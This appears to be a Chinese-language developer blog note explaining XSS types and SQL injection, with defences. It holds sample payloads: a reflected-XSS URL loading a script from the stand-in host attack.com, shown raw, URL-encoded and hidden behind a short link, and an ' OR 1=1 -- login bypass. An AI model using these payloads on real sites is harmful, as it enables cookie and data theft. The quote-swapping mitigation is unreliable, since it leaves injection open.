Skip to main content

SQL-injection

CVE​

公共漏洞和暴露(英語:CVE, Common Vulnerabilities and Exposures)

https://zh.wikipedia.org/zh-tw/%E5%85%AC%E5%85%B1%E6%BC%8F%E6%B4%9E%E5%92%8C%E6%9A%B4%E9%9C%B2

XSS​

全名是 Cross-site Script Attack,由白話一點的說明被攻擊的情境就是

今天我去某一家餐廳吃飯,一走進去就被技巧高超的扒手把你的錢包幹走

我= 使用者 / 餐廳 = 網站 / attacker = 扒手 / 錢包 = 使用者機密資訊 / 幹走 (動作) = 灌入的 script

用更白話一點的說法,就是借刀殺人

那實際上,攻擊者是利用網站上提供的輸入的欄位,以及沒有驗證過的參數,來插入惡意 javascript 進行攻擊 ,若沒有做防範,可能你一進去網站,就會被轉址到其他地方,或是點擊到某一個 button 或是 a 連結,然後就把代表個人敏感資訊的 cookie 傳送到攻擊者手中。

這種的攻擊的手法分作三種

Stored XSS​

透過網站的輸入機制,夾帶惡意 script,存進後端資料庫中,當今天網站是一個留言板或是要撈資料庫資料 render 到前端頁面的時候,由於瀏覽器分辨不出攻擊者輸入的內容是 script,當渲染完成的那一瞬間就會執行,完成攻擊。

Reflected XSS​

透過網址的 query 帶入 script 透過 GET 進行攻擊,攻擊者會把釣魚連結寄送給你,當使用者點擊下去,隨及把放入的 script 插入進網站執行,但網站表面看起來非常正常,跟平常使用的一樣。

有點抽像?雖然無法真的攻擊但 call out google 示意一下
google 搜尋時網址後面的 query 會放上q = 你要搜尋的東西 ,

試試看更改網址 q= 裡面的內容,google 搜尋列的內容會跟者改變

這樣就很清楚了吧,透過這樣的特性,今天攻擊者在後面植入

<script>http://localhost:3000/test/?username=“><script src=”http://attack.com/js/malicious.js”></script><a href=”

點下去就 GG 了,可能會說這樣太明顯白癡才會上當,那再變形一下
使用https://meyerweb.com/eric/tools/dencoder/  來編碼

http://localhost:3000/test/?username=%22%3E%3Cscript%20src%3D%22http%3A%2F%2Fattack.com%2Fjs%2Fmalicious.js%22%3E%3C%2Fscript%3E%3Ca%20href%3D%22

是不是又可信了一點,你可能又會說不不不後面那一長串是想幹嗎
那我再用短網址

https://bit.ly/345646Omfgddfgd

嗯。。。失手的機率大大提高

DOM-Based XSS​

相較於前面的兩種,主要是後端的責任,這種攻擊要由前端來防,主要是透過,前端 DOM 操作的漏洞,來插入 script 進行攻擊,可以想像一下,今天你的小專案 todo-list,輸入待做事項並在頁面渲染出來,如果是選擇 innerHTML 的方式插入,如果輸入是一個 script,會被瀏覽器判斷回 DOM 物件,那麼就會被執行達到攻擊。

解決方法​

  • 將要炫染在頁面上的資料在傳遞輸出出去的時候,進行編碼 encoding,瀏覽器會當作純文字自動轉換,且並不會執行 script

=== %3Cscript%3E%3C%2Fscript%3E //這兩個是一樣的

  • 針對可以輸入的欄位 (ex: url 、搜尋列、留言區、表單進行)驗證、檢查,包括格式、長度、白名單等等
  • 對於重要的資訊防護,對 cookie 設定 httpOnly,沒辦法利用 javascript 來拉出 cookie,或是加入 Content-Security-Policy 請看這篇

SQL injection​

XSS 原理很像,透過前端輸入,當輸入的內容傳到後端,後端利用傳遞來的內容,透過輸入惡意的字串,達到更改語法邏輯或是加入特殊的指令,對資料庫進行攻擊,可能造成的後果,像是 Table 遺失、資料庫內的資料外洩、修改資料庫的內容。
嗯。。。這絕對是毀滅性的攻擊,想到都怕

舉例

假設在登入頁面,輸入並傳送帳號密碼到後端去,一般而言會執行

"SELECT * FROM customers WHERE name =${email} AND password = ${password}

但如果今天攻擊者把輸入在 name 的東西改成

‘OR 1=1 --

執行出來的語法就會變成

"SELECT * FROM customers WHERE name =''OR 1=1 --

根據語法的定義

  • 「 ' 」單引號 ,會把內容 input 輸入內容關閉
  • OR ,或者的意思
  • 1 = 1 ,恆正 等於 true 的意思
  • -- ,把後面的內容註解

那撈出的資料就是 customers 所有的資料,直接大外洩。

類似的方法也可以加入 分號「 ;」,作分隔後面增加 DROP Table,直接把資料抹去,怕。。。

解決方法

  • 利用正則表達式(regex)去驗證輸入內容,把單引號改成雙引號
  • 限制輸入的字元長度,及輸入格式
  • 設定使用者權限,限制能夠作的動作
  • 使用 ORM,避免直接使用 SQL 語法

結論

資安攻擊這件事有時候看很抽象,因此推薦這部影片有點長,有 XSS 範例實際操作,比起那邊猜、憑空想,看實際做會比較清楚,就這樣啦,附上影片內提到的遊戲

https://xss-game.appspot.com

https://fufong79570.medium.com/%E9%97%9C%E6%96%BCxss-sql-injection-c284d2041ad9